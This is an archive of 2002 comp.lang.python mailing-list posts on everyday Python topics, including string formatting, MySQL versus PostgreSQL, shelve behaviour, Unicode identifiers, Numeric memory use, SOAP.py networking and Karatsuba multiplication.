<mailman.1021010718.12133.python-list at python.org>, James J. > Besemer <jb at cascade-sys.com> writes > ..... > > > >The way most optimizers work is they detect patterns known to be safe and also > >sufficiently common to be worth dealing with. Anything that does not fit the > >pattern 100% does not get optimized. > > > ..... > Well strictly speaking this is untrue. This class of optimisation is > called 'local', 'greedy' or perhaps 'peephole'. Since in fact they may > not be optimal these methods are really improvers. As to whether most > optimisers are like this I suppose all the compiler builders who claim > 'global' etc etc may want to dispute. No, I was using "pattern" in it's most general sense, meaning to include both global and local optimizers. In this overall thread I have alluded to examples in both extremes. Global optimizers typically examine the attributed parse tree for an entire module (multiple variable and function declarations), searching for arbitrarily complex "patterns" in the overall tree. When there's a "match," an arbitrarily complex transformation may be applied to the tree. Analysis can can include determining data flows and control flows, necssary to handle some of the tricky things even in dynamic languages. It also leads to better diagnostics, such as the detection of uninitialized variables, unreachable code, etc. This contrasts with so-called "peep hole" optimizers. Peepholes typically look at the outgoing code and look for low-level patterns that can be replaced by more efficient machine code idioms. I suppose one could argue that any so-called 'optimizer' is merely an 'improver'. Generally there are limit cases that can confound just about any attempts at optimization. Finally, I will defer to Mr. Dalke's assertion that optimization has been thoroughly explored for Python and deemed to be more trouble than it's worth, at least compared to other priorities. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From andreas at andreas-jung.com Thu May 16 21:32:32 2002 From: andreas at andreas-jung.com (Andreas Jung) Date: Thu, 16 May 2002 21:32:32 -0400 Subject: Stupid string formatting question References: <ue8mlv4gvfsc3@corp.supernews.com> Message-ID: <014201c1fd42$b7b55df0$02010a0a@suxlap> It would be counter-intuitive if Python would work in the way you would like it. There is a 1:1 relationship between the placeholders in the format string and the values. Another behaviour would be ambigious and is not desirable. -aj ----- Original Message ----- From: "Michael S. Fischer" <michael+usenet at dynamine.net> Newsgroups: comp.lang.python To: <python-list at python.org> Sent: Thursday, May 16, 2002 21:19 Subject: Stupid string formatting question > Why can't I do this? > > def foo(x): > # Do some operations on x yielding a and b > return a, b > > print "a = %s, b = %s" % (foo(x)) > > It seems counter-intuitive that although foo is defined to return a 2-item > tuple, the interpreter just doesn't get it. > > -- > Michael S. Fischer / michael at dynamine.net / +1 650-533-4684 > Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA > -- > http://mail.python.org/mailman/listinfo/python-list > From jeff at ccvcorp.com Mon May 6 14:12:38 2002 From: jeff at ccvcorp.com (Jeff Shannon) Date: Mon, 6 May 2002 11:12:38 -0700 Subject: Slight irritation with try/finally indentation References: <mailman.1019657853.14965.python-list@python.org> <Xns92067999CBF19jimpublishingresourc@209.249.90.101> Message-ID: <MPG.1740676c15073ee09896d6@news.nwlink.com> In article <Xns92067999CBF19jimpublishingresourc at 209.249.90.101>, Jim Abrams says... > pinard at iro.umontreal.ca (Fran?ois Pinard) wrote in > news:mailman.1019657853.14965.python-list at python.org: > > > > [...] > > setup() > > try: > > process() > > finally: > > cleanup() > > [...] > > setup() > > try: > process() > except: # or other exception handling > pass > > cleanup() Doesn't work, because the exception handling may wish to terminate the program, or at least return from the current execution frame, and in that case, cleanup() will not be called. (Which may be important for closing database connections, removing temp files, etc.) -- Jeff Shannon Technician/Programmer Credit International From aleax at aleax.it Wed May 8 02:35:10 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 08 May 2002 06:35:10 GMT Subject: MySQL questions References: <aNVB8.1148$Yi6.459@newsread1.prod.itd.earthlink.net> <mailman.1020816014.17321.python-list@python.org> <Za0C8.2021$pc6.190671@newsread2.prod.itd.earthlink.net> <slrnadh7gc.1fe.gerhard@lilith.my-fqdn.de> Message-ID: <yG3C8.16631$CN3.562184@news2.tin.it> Gerhard H?ring wrote: > Billy Ng wrote in comp.lang.python: >> [MySQL doesn't do subselects] >> I notice the subselect will be in version 4 > > That would be version 4.1. And also according to > > http://www.mysql.com/documentation/mysql/bychapter/manual_Introduction.html#TODO > > I'll have to wait for MySQL 5.0 for it to be comparable feature-wise > to what PostgreSQL offers today. The assessment at 1.9.2 on that same webpage seems reasonable: "If you need raw speed, MySQL Server is probably your best choice. If you need some of the extra features that only PostgreSQL can offer, you should use PostgreSQL". (Interestingly, MySQL has a BSD-like, "core-developers- group" cathedral-like approach, while PostgreSQL is closer to the "bazaar" approach -- judging from just the products, I could have guessed the other way 'round.) I'm biased, probably because I never really had to push the scalability limits of a database: I'm not sure I could live without subselects and views, in particular, and stored procedures, triggers, atomic multi-table updates, etc, are all very useful, so, I lean towards PostgreSQL. But I can well imagine somebody just needing to push lots and lots of data very fast without any such niceties might lean the other way. Alex From BPettersen at NAREX.com Tue May 7 15:28:22 2002 From: BPettersen at NAREX.com (Bjorn Pettersen) Date: Tue, 7 May 2002 13:28:22 -0600 Subject: survey: is shelve broken? should it be fixed? Message-ID: <60FB8BB7F0EFC7409B75EEEC13E20192215173@admin56.narex.com> > From: Alex Martelli [mailto:aleax at aleax.it] > > Just checking if I'm the only one to feel that shelve > seriosly violates the > principle of least astonishment when you shelve modifiable values: [snip] > We probably can't change this default (mis-)behavior due to > backward compatibility needs, but it wouldn't be too hard to > at least give a simple > _optional_ way out, even though off-by-default: +1 if it also prints 2 as the result of the last expression below (and if it remains 2 after I close and re-open the shelve): >>> import shelve >>> s = shelve.open('ciao','c') >>> class Foo: ... def __init__(self, x): ... self.x = x ... >>> class Bar: ... def __init__(self, y): ... self.y = y ... >>> s['bye'] = Foo(Bar(1)) >>> s['bye'].x.y = 2 >>> s['bye'].x.y 1 >>> Seems like a "real" OODBMS might be the only thing that would count as unsurprising in this case though? -- bjorn From aahz at pythoncraft.com Fri May 10 19:49:16 2002 From: aahz at pythoncraft.com (Aahz) Date: 10 May 2002 19:49:16 -0400 Subject: Python stagnating? References: <b62b39cb.0205090942.19eb2bfe@posting.google.com> <UhSC8.59790$m26.39465@atlpnn01.usenetserver.com> <4C4017F2A8374833.8EC9AA6CCB3866FB.604DBC914D15FCEF@lp.airnews.net> <Xns920A919DEAA0Echrislak@209.249.90.101> Message-ID: <abhm9s$6a8$1@panix1.panix.com> In article <Xns920A919DEAA0Echrislak at 209.249.90.101>, Chris <chrisl_ak at hotmail.com> wrote: > >Tough crowd here :) Nah. You want tough, go to comp.lang.perl.misc. But we *are* a gang of nitpickers. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From johnroth at ameritech.net Sat May 11 08:09:44 2002 From: johnroth at ameritech.net (John Roth) Date: Sat, 11 May 2002 08:09:44 -0400 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> <udol0hpg2g9gf7@news.supernews.com> <j44rhf40as.fsf@informatik.hu-berlin.de> Message-ID: <udq2e6etbuq7c2@news.supernews.com> "Martin v. L?wis" <loewis at informatik.hu-berlin.de> wrote in message news:j44rhf40as.fsf at informatik.hu-berlin.de... > "John Roth" <johnroth at ameritech.net> writes: > > > The trouble is that while almost all of the languages used in the > > Americas, Australia and Western Europe are based on > > the Latin alphabet, that isn't true in the rest of the world, and > > even then, it gets uncomfortable if your particular language's > > diacritical marks aren't supported. You can't do really good, > > descriptive names. > > I personally can live without the diacritical marks in program source > code, except when it comes to spelling my name - and I usually put > this into strings and comments only. > > I'm fully aware that many people in this world write their languages > without latin letters. I still doubt that this is an obstacle when > writing software. > > > 1. In Python 3.0, the input character set is unicode - either UTF-16 > > or UTF-8 (I'm not prepared to make a solid arguement one way or the > > other at this time.) > > Actually, PEP 263 gives a much wider choice; consider this aspect > solved. I just read that PEP. As far as I'm concerned, it's not solved, the solution would be much worse than the disease. Python is noted for simplicity and one way to do most things. PEP 263 (outside of syntax issues) simply obfuscates the issue for quite minor returns. > > 2. All identifiers MUST be expressed in the character set of > > a single language (treating the various latin derived languages > > as one for simplicity.) That doesn't mean that only one language > > can be used for a module, only that a particular identifer must make > > lexical sense in a specific language. > > That sounds terrible. Are you sure you can implement this? For > example, what about the Cyrillic-based languages? Are you also > treating them as one for simplicity? Can you produce a complete list > of languages, and for each one, a complete list of characters? I believe that the Unicode Consortium has already considered this. After all, they didn't just add character encodings at random; they've got specific support for many, many languages. I don't need to repeat their work, and much more importantly, neither does the core Python language team. > > 3. There must be a complete set of syntax words in each > > supported language. That is, words such as 'and', 'or', 'if', 'else' > > All such syntax words in a particular module must come from the > > same language. > > That is even more terrible. So far, nobody has proposed to translate > Python keywords. How are you going to implement that: i.e. can you > produce a list of keywords for each language? How would I spell 'def' > in German? AFIC, spelling is up to people who want to code in a particular language. I haven't considered implementation, but it seems like it should be incredibly simple, given that point 4 means that syntax words are easily distinguishable by the lexer. Think in terms of a dictionary, although performance considerations probably means that something faster would be necessary. John Roth From fgeiger at datec.at Thu May 23 15:30:14 2002 From: fgeiger at datec.at (F. GEIGER) Date: Thu, 23 May 2002 21:30:14 +0200 Subject: python for webapplication tests References: <mailman.1022167298.20934.python-list@python.org> Message-ID: <acjg2r$14i$1@newsreaderg1.core.theplanet.net> "Marco Machmer" <marco at morca.de> schrieb im Newsbeitrag news:mailman.1022167298.20934.python-list at python.org... > hy there, > > knows anybody a project or program for testing webapplications with > python? > (webappUnitTest or so) > > ma > > From starx at pacbell.net Thu May 9 18:27:33 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 9 May 2002 22:27:33 GMT Subject: Um... extensible parsing? References: <Xns92097FE843F84RASXnewsDFE1@130.133.1.4> <mailman.1020982401.15281.python-list@python.org> Message-ID: <Xns92099D6BD7464RASXnewsDFE1@130.133.1.4> holger krekel || Thu 09 May 2002 03:11:54p: > Philip Swartzleonard wrote: >> >> I am interested in making a program in python that helps people edit >> the gameworld definition files used in the Angband and it's many and >> various varients. They are a fairly simple text file format, and each >> record follow a mostly set pattern. For exapmle, here's the format >> for one of the files from ToME: > > ask any questions you need to about the following code > which should help you get started. > > # paste this to your interpreter and > # have a /tmp/datafile ready > specs=[] > for line in open('/tmp/datafile').readlines(): > if not line or line.startswith('N'): > specs.append({}) > name,rest=line[:1],line[2:] > if name: > sep = '|' in rest and '|' or ':' > vals=map(lambda x: x.strip(), rest.split(sep)) > specs[-1].setdefault(name, []).extend(vals) > > # then enter e.g. > >>>> specs[0] > {'B': ['CLAW', 'HURT', '1d2', 'CLAW', 'HURT', '1d2', 'BITE', 'HURT', > '1d3'], > 'D': ["A woman's face on the body of a vicious black bird."], > 'E': ['0', '1', '1', '0', '1', '0'], > 'F': ['FEMALE', > 'CAN_FLY', > 'WILD_TOO', > 'WILD_MOUNTAIN', > 'DROP_CORPSE', > '', > 'RAND_25', > 'ANIMAL', > 'EVIL', > 'MORTAL', > 'BASEANGBAND'], > 'G': ['H', 'D'], > 'I': ['120', '3d8', '16', '22', '10'], > 'N': ['157', 'Black harpy'], > 'O': ['0', '0', '0', '0'], > 'W': ['9', '1', '600', '19']} Damn, that's nice. ... Wow. Now all i need to do is make it give each slot a name using some other datafile or something. So it reads: I:#speed:*hit points:#vision:#armor class:#alertness (or something) I:120:3d8:16:22:10 >From the two files and pops out 'I': [('120', 'speed', 'number'), ('3d8', 'hit points', 'dice') ... Or some such. Each one needs a caption on the dialog or whatever. And flags would have to be handled a little bit differently b/c they need a radicaly different type of interface... but still. Wow. =) >> Anyway, I want to make a generic editor program that reads some >> datafile to determine the structure of the 'info' file it needs to >> edit, and constructs it's interface from there. I'd assume i'd have >> some kind of list interface to deal with the records (using the N >> line information that all of thie files that I want to edit use), and >> that I'd have customized controls for editing the different types of >> data (e.g. flag_checkboxes, string_field, dice_field, number_field). >> What i -don't- have a clue how to do is the part that puts the pieces >> together depending on the situation, and the parts that actually >> parse the various files. What i'm asking for is any pointers or >> insight that could help me solve this problem more efficently. Thank >> you. > > - get used to working flexibly with dictionaries > > - use a class basically like this: > > class niceaccessor: > def __init__(self,specdict): > for attr,value in interpret(specdict): > setattr(attr,value) > > so that you can do > print niceaccessor.name > if ANIMAL in niceaccessor.flags: > do this or that > ... > > - use such a class to make up some frontend > > - write a routine which takes any existing > key/value of an niceaccessor-instance > and writes out a record. > > - think about whether a string that can > be converted to a number should always > be converted or whether you have > to actually specify this. I don't care about the values of any of this stuff, so it can go from a string in the file to a string in a textbox to a string in the file again and only become an number when actually read by the game =). Thanks for all this though... man i love this language =) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From mark at mceahern.com Fri May 10 21:15:22 2002 From: mark at mceahern.com (Mark McEahern) Date: Fri, 10 May 2002 20:15:22 -0500 Subject: correct way to check for True in __builtins__? In-Reply-To: <1021076396.1311.63.camel@localhost> Message-ID: <NCBBLFCOHHDIKCAFGCFBIEEAKPAA.mark@mceahern.com> [Ian Bicking] > It would be a bit easier to do: > > try: > True > except NameError: > ... I like the simplicity of this one. Thanks for all the replies everyone! Cheers, // m From mayer at acm.org Sat May 4 13:24:50 2002 From: mayer at acm.org (Robert George Mayer) Date: Sat, 04 May 2002 11:24:50 -0600 Subject: degrees and radians. References: <3330ba.s35.ln@127.0.0.1> Message-ID: <3CD41962.57104BD7@acm.org> Jim Richardson wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > I am trying to get the math module to deal with degrees rather than > radians. (that it deals with radians for the angular functions like > sin() isn't mentioned in the docs, which was sort of an eyeopener :) I > can't find any info on doing this. I can convert from-to degrees in the > code calling the function, but that's a bit clunky. Any pointers to an > FM to R? :) > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE804+jd90bcYOAWPYRAt9KAKCuqeC4ozuXSaKZ5xY27Wv+k04QuQCcCrCZ > WyichPnKgXo+GaDdAebsaeU= > =h+vc > -----END PGP SIGNATURE----- > > -- > Jim Richardson > Anarchist, pagan and proud of it > http://www.eskimo.com/~warlock > Linux, from watches to supercomputers, for grandmas and geeks. Jim - All the math routines I have ever dealt with use radians. In 30 years of dealing with this, in Fortran, C, C++ and Python, I have found what works best for me is to use exclusively radians internally and convert only where the user will see it - at the GUI and with any text (not binary) files. (I think that this works well, but may not be as natural with a command line program, where the interface between the user and the program is so simple to begin with.) In other words, I just consider the degrees/radians conversion to be part of the interface between the user and the program internals. I find that it help to curse the Babylonian astronomers while putting all the conversions in place. - BOB From pyth at devel.trillke.net Tue May 14 16:24:49 2002 From: pyth at devel.trillke.net (holger krekel) Date: Tue, 14 May 2002 22:24:49 +0200 Subject: Upper memory limit In-Reply-To: <3CE16A13.309D0D14@kfunigraz.ac.at>; from siegfried.gonzi@kfunigraz.ac.at on Tue, May 14, 2002 at 09:48:35PM +0200 References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <G38E8.12534$Ze4.1204253@bin5.nnrp.aus1.giganews.com> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <mailman.1021397004.22888.python-list@python.org> <abroj9$fqm$1@peabody.colorado.edu> <3CE16A13.309D0D14@kfunigraz.ac.at> Message-ID: <20020514222449.O28033@prim.han.de> Siegfried Gonzi wrote: > Fernando P?rez wrote: > > > You may find it 'very readable (and often better in style than Numeric's > > idiosyncrasy)' but in many cases the above is about the worst possible way of > > dealing with a Numeric array you could come up with. What you call 'Numeric's > > idiosyncrasy' has a very good reason for being the way it is: when you work > > with Numeric arrays as single entities and apply functions to them as a > > whole, you gain the _massive_ advantage of looping being done in C instead of > > Python. This can make a difference of one or two orders of magnitude in > > execution time. > > > > I personally can't stand windows and consider Linux a zillion times better as > > an environment for scientific computing, but in this particular case I can't > > guarantee that your memory problems will go away in Linux. > > > [It is clear that the erg.append() is not very effective; but in Python > or Lisp I use another strategy for programming]. Note: the first 2 > function calls take only 20 minutes! Btw.: After 6 hours, my calculation > on my laptop has just finished. > > Btw. I will prepare you a place in heaven if you can tell me whether > there is an option to set a default path. For example, I have > successfully installed Python in: > > /home/gonzi/Python-2.2.1/... > > and my Numeric-21.0 resides in: > > /home/gonzi/Python-2.2.1/Numeric-21.0 > > > but after trying to install the Numeric stuff:: > > python setup.py install ^^^^^^^^ are you sure that this points to *your* installation? holger From pereira at cis.upenn.edu Fri May 24 10:55:58 2002 From: pereira at cis.upenn.edu (Fernando Pereira) Date: Fri, 24 May 2002 10:55:58 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: <B90D45DB.A63E%pereira@cis.upenn.edu> <mailman.1021922078.11067.python-list@python.org> <ueji35ihipuee3@corp.supernews.com> <B9102353.A917%pereira@cis.upenn.edu> <uerd0l9d54dac9@corp.supernews.com> Message-ID: <B913CCBE.ACF4%pereira@cis.upenn.edu> On 5/23/02 11:31 PM, in article uerd0l9d54dac9 at corp.supernews.com, "Andrew Henshaw" <andrew.henshaw at mail.com> wrote: > Fernando Pereira wrote: >> I can't find my CSP book, but from memory I don't think this is correct. >> Through || (PAR), it is possible for several concurrent processes to >> attempt to read or to write on the same channel. Then the channel >> implementation needs a queue to hold all the blocked processes until a >> complementary event occurs, at which point one of the pending requests is >> matched to the event and the blocked process becomes runable. > > I believe that my statement was correct. From a 1985 version of > Communicating Sequential Processes (p. 134): > > "We shall observe the convention that channels are used for communication > in only one direction and between only two processes. A channel which is > used only for output by a process will be called an output channel of that > process; and one used only for input will be called an input channel. In > both cases, we shall say loosely that the channel name is a member of the > alphabet of the process." As I said, I can't find my copy of the book. But this restriction is a *convention* only. The language syntax does not impose that restriction, nor does the semantics AFAIK. -- F From pecora at anvil.nrl.navy.mil Fri May 10 15:08:47 2002 From: pecora at anvil.nrl.navy.mil (Louis M. Pecora) Date: Fri, 10 May 2002 15:08:47 -0400 Subject: What Exceptions are there? (was: "a better input") References: <aaiu6e$pfr$1@bob.news.rcn.net> <080520021314438230%alexis.layton@post.harvard.edu> <AroC8.39639$zW3.427130@news1.tin.it> <lklmatvdfn.fsf@pc150.maths.bris.ac.uk> <1_tC8.40668$zW3.442583@news1.tin.it> <abe9us$kn5$1@slb6.atl.mindspring.net> <100520021023459171%pecora@anvil.nrl.navy.mil> <hQQC8.10635$Po6.194@rwcrnsc52.ops.asp.att.net> <Xns920AA51108B90duncanrcpcouk@127.0.0.1> Message-ID: <100520021508477103%pecora@anvil.nrl.navy.mil> In article <Xns920AA51108B90duncanrcpcouk at 127.0.0.1>, Duncan Booth <duncan at NOSPAMrcp.co.uk> wrote: > Go to your python installation, change into the lib directory and run: > pydoc -g > You should get a small window popping up with some buttons and a text box > labelled 'Search for'. Type 'exceptions' into the box, press return and > click on the second entry 'exceptions - Python's standard exception class > hierarchy'. > This should open your browser with an HTML page describing exceptions and > giving (amongst other things) a class hierarchy: > > Exception > | > +-- SystemExit > +-- StopIteration > +-- StandardError > | | [cut all the nice diagram] Thanks. That had to take some time to type. Very nice. -- -- Lou Pecora - My views are my own. From greg at cosc.canterbury.ac.nz Thu May 9 22:35:08 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Fri, 10 May 2002 14:35:08 +1200 Subject: sys.argv and while loop References: <3CD9376E.BEF43213@jpl.nasa.gov> <Xns9208A72BD3C2Dduncanrcpcouk@127.0.0.1> <3CD955A1.43AE9120@jpl.nasa.gov> <yDoC8.21118$CN3.681832@news2.tin.it> Message-ID: <3CDB31DC.CB5A9BCE@cosc.canterbury.ac.nz> Alex Martelli wrote: > > "Sir, do you know the way to the station?" "Yes I do" > "Well, may I ask you the way to the station?" "Yes you may" > "So, would you mind telling me the way to the station?" "No, I wouldn't". Sounds like a Monty Python sketch! -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From sholden at holdenweb.com Thu May 30 11:47:47 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 30 May 2002 11:47:47 -0400 Subject: .pyc in subdirectories ? References: <3cf5d3d4_2@news.newsgroups.com> Message-ID: <fUrJ8.51306$%u2.14638@atlpnn01.usenetserver.com> "jb" <jblazi at hotmail.com> wrote in message news:3cf5d3d4_2 at news.newsgroups.com... > Can I have ?ython generate .pyc files not in the current directory $CDIR but > in a subdirectory $CDIR/pyc ? > Not without fiddling with the import mechanism, which does have the hooks to allow it. But it's a pretty bizarre idea. You will also have to *search* differently as well. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From sarnold at arnolds.dhs.org Thu May 2 22:23:36 2002 From: sarnold at arnolds.dhs.org (Steve Arnold) Date: 02 May 2002 19:23:36 -0700 Subject: [Zaurus-general] ANN: Python 2.2.1 for Sharp Zaurus In-Reply-To: <1020205937.8210.15.camel@pepino> References: <3CCD1D46.B519567@river-bank.demon.co.uk> <1020205937.8210.15.camel@pepino> Message-ID: <1020392616.2124.40.camel@rama> On Tue, 2002-04-30 at 15:32, RR wrote: > On Mon, 2002-04-29 at 06:15, Phil Thompson wrote: > > Riverbank Computing is pleased to annouce the release of the port to > > Python v2.2.1 to the Sharp Zaurus. We believe the port will also run > > unchanged on the Compaq iPAQ (running Linux). > > > > The download page is > > http://www.riverbankcomputing.co.uk/zaurus/download.php > > > stll not able to install > > storage i have 630kb currently tried cf no luck That's not going to be enough for Python (especially Python2). Python has lots of small files too, so you need quite a bit of free space (for both the install and the temporary space to decompress the files). If you have enough space for the installed part of Python (and I'm not sure how much that is), then you can probably install it with the nipkg script. It's a front-end for ipkg so you can pass command line parameters to make it decompress to MMC or CF card instead of internal flash. I can't remember where I got the nipkg script, but I can mail it to you if you can't find it. I think it was on ZaurusZone, but I have trouble with that site so I don't go there much (it's just way too slow and goofy). Steve From starx at pacbell.net Wed May 8 15:00:41 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 8 May 2002 19:00:41 GMT Subject: Comments References: <mailman.1020875534.17637.python-list@python.org> Message-ID: <Xns92087A57CBCBERASXnewsDFE1@130.133.1.4> Mark McEahern || Wed 08 May 2002 09:30:41a: > [Sean 'Shaleh' Perry] >> Sure, but comments are basically free whereas the above creates >> an anonmymous string which has to be garbage collected. > > Good point! Thanks. > > By the way, in emacs with python mode, you can select a region and > comment/uncomment it. Commenting a block simply prepends ## to each > line in the block. Nifty! def foo: # Or if you are writing a comment, just make sure there's a blank line above and below and write it all out on one line likt this, then hit M-Q or whatever 'fill' is set to, and it will make it into something like: pass def foo: # Or if you are writing a comment, just make sure there's a blank # line above and below and write it all out on one line likt this, # then hit M-Q or whatever 'fill' is set to, and it will make it # into something like <this> pass I removed the extra blank lines manually. Unfortuantly if you try to do something like this without the extra padding def foo: # A comment that is longer than fill length c=1 c=2 pass You'll get def foo: # A comment that is longer than fill length c=1 c=2 pass ... Is there a way to make emacs ignore lines that wouldn't be considered comments by the language when wrapping? -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From sabine at textraeume.de Wed May 15 09:55:10 2002 From: sabine at textraeume.de (Sabine Richter) Date: Wed, 15 May 2002 15:55:10 +0200 Subject: Value of an unknown object returned from odbc Message-ID: <3CE268BD.520B869D@textraeume.de> Hello, it was not so easy to describe the subject. My environment is: Win XP Prof, Python 2.2.1, Win32all-146, MySQL 2.23.49 and MyODBC 3.51.02. My problem is: I want to dump a MySQL-database. So first I fetch the structure of a table and then the content. In some cases I get not the value, but the memory address or the value, but not the desired data type. For example: Structure of the table: CREATE TABLE `dmversion` ( `version` float NOT NULL default '0', `vuser` char(16) NOT NULL default '', `vdate` datetime NOT NULL default '0000-00-00 00:00:00' ) TYPE=MyISAM; So far it is ok. But when I ask for the content, I get for the first row: (1L, 'Sabine', <DbiDate object at 0x00ACA370>) So I have to: -convert the first value to a float -get the value of the DbiDate object My questions are: -Is it expected, that I get, what I got? Or is it a bug? And if it is a bug, which part is to be blamed? -Is there an easy way to get the desired values? I can compare types: from types import * for t in range(len(a)): b=a[t] if type(b)==LongType: b=float(b) elif type(b)== ???????????? --> DbiDate Object: get the value of DbiDate Object But: I don't know which types I can get. So it is a long, long if elif elif elif else errorhandling. That's not nice. And: How can I compare the type DbiDate object? And how can I get the value? Sorry that my mail is so long and for my bad english. And thanks for your answers Sabine From oren-py-l at hishome.net Fri May 24 10:41:12 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Fri, 24 May 2002 10:41:12 -0400 Subject: Iterating through two lists In-Reply-To: <3cee0ae6_1@news3.newsgroups.com> References: <3cee0ae6_1@news3.newsgroups.com> Message-ID: <20020524144112.GA49700@hishome.net> On Fri, May 24, 2002 at 11:56:54AM +0200, jb wrote: > I have two lists, x and y with the property len(x) = len(y). > > I should like to achive this (x is a list of class instances) > > for (a,b) in (x,y): a.f(b) > > Is there a fancy way of doing this or have I to introduce an auxillary > counter (that is very easy but maybe not very "lispy", that is > "python-like"). The following are expressions (not statements) with the side effect of achieving what you ask for: List comprehension abuse: [a.f(b) for a,b in zip(x,y)] Functional abuse: map(lambda a,b: a.f(b), x, y) Iterator abuse: list(iter(lambda X=iter(x).next, Y=iter(y).next: X().f(Y()), type)) Oh dear... what have I done? Oren From dkt at registriesltd.com.au Thu May 30 20:53:00 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Fri, 31 May 2002 10:53:00 +1000 Subject: matching one time through a loop In-Reply-To: <B43D149A9AB2D411971300B0D03D7E8BF0A335@natasha.auslabs.avaya.com>; from tdelaney@avaya.com on Fri, May 31, 2002 at 09:55:04AM +1000 References: <B43D149A9AB2D411971300B0D03D7E8BF0A335@natasha.auslabs.avaya.com> Message-ID: <20020531105300.T2276@regdp-02.intint.registriesltd.com.au> On Friday 2002-05-31 at 09:55:04 +1000, Delaney, Timothy wrote: > Seriously here ... by not having regular expressions be an integral part of > the language, I believe they become much more understandable. It is always There might be something in that. However, having learned Perl before Python, I just find it really clunky and slow to do regex stuff in Python. I find that I miss the power that direct language syntax support for regexes gives me. There's obviously a value judgement there, of course: one needs to weigh up ease and speed of programming with other factors like cleanness, readability, and so on. Obviously, Python comes down on the cleanness/readability side, at the expense of programmer productivity in text processing. > obvious when a regex is being used, and so they don't tend to contribute to > line noise. > > In Perl, regexs tend to be hidden in amongst all the other constructs. Don't know about that. I don't personally find that a problem. If I had learned Python first, I might have had a different opinion, perhaps ;-) Cheers David Trudgett From gordon.scott at peregrine.com Mon May 13 11:29:06 2002 From: gordon.scott at peregrine.com (Gordon Scott) Date: Mon, 13 May 2002 08:29:06 -0700 Subject: newbie - SOAP.py sockets and localhost? Message-ID: <D54BF26DB5A7D511B36B00508B9596A402B2D6CD@sdgcaexch2.peregrine.com> Newbie here with a question I hope someone can answer. I was playing around with SOAP.py and the echoClient/echoServer demos. Running them on one machine ran fine, running them on two different machines yielded a '111, Connection Refused' error. I searched on python.org and google and found a post with the same problem I was having, but no resolution. Playing around a bit more I finally got it to work. In order to do so I had to change the address for the server from 'localhost' to the currently assigned IP address from the DHCP server. My question is, why should I have had to specifically state the IP instead of localhost? Shouldn't localhost have bound the socket to whatever my current IP address is? Btw, running python 2.1.2 on Win2k for both machines. Any insights would be appreciated. Thanks. Gordon. From whisper at oz.net Wed May 15 15:58:40 2002 From: whisper at oz.net (David LeBlanc) Date: Wed, 15 May 2002 12:58:40 -0700 Subject: Problem with Pmw Message-ID: <GCEDKONBLEFPPADDJCOECEKADCAA.whisper@oz.net> Python 2.2.1 and Pmw 0.8.5 Attempting to run any demo returns this error: Error: 1 KeyError Exception in Tk callback Function: <function callit at 0x00CCECA0> (type: <type 'function'>) Args: () Traceback (innermost last): File "J:\Python22\Lib\site-packages\Pmw\Pmw_0_8_5\lib\PmwBase.py", line 1690, in __call__ return apply(self.func, args) File "J:\Python22\lib\lib-tk\Tkinter.py", line 436, in callit apply(func, args) File "J:\Python22\Lib\site-packages\Pmw\Pmw_0_8_5\tests\Test.py", line 414, in _runTest _methodTest(w, methodTestData) File "J:\Python22\Lib\site-packages\Pmw\Pmw_0_8_5\tests\Test.py", line 479, in _methodTest name = 'static method ' + func.__dict__['_func'].func_code.co_name KeyError: _func David LeBlanc Seattle, WA USA From mwh at python.net Fri May 24 09:32:55 2002 From: mwh at python.net (Michael Hudson) Date: Fri, 24 May 2002 13:32:55 GMT Subject: 2**HUGENUMBER Why not optimise it? References: <LNBBLJKPBEHFEDALKOLCCEHAPHAA.tim.one@comcast.net> <mailman.1022132680.2864.python-list@python.org> <lkg00j5f04.fsf@pc150.maths.bris.ac.uk> <mailman.1022175099.5637.python-list@python.org> <lkwuttn9k2.fsf@pc150.maths.bris.ac.uk> <mailman.1022243563.15153.python-list@python.org> Message-ID: <lkit5dmzzj.fsf@pc150.maths.bris.ac.uk> jepler at unpythonic.net writes: > On Fri, May 24, 2002 at 10:06:12AM +0000, Michael Hudson wrote: > > Christian Tismer <tismer at tismer.com> writes: > > > > > Michael Hudson wrote: > > > > Do you feel like implementing Karatsuba multiplication in > > > > longobject.c? That might actually be some use... > > > > > > Although this was on the table two or three years ago, > > > > I know. I remember. That thread was probably the first place I heard > > of Karatsuba multiplication... > > The message you're looking for may be in a thread from July 1999: [snip megaurl] Yep that's the one. I'd already found it (not very hard -- google for Karatsuba on comp.lang.python...). Good reading, though, so anyone else out there should read it too! > It'd be a bit nicer now that the builtin "long" class can be subclassed. That's a point. > Too bad you can't write > long.__mul__ = karatsuba_mul > or > long = karatsuba_long > and have it "work" (longs constructed in the easy way, 'x=1L', would have > karatsuba multiplication behavior by default) I think overall I'd glad you can't do things like that... Cheers, M. -- If you give someone Fortran, he has Fortran. If you give someone 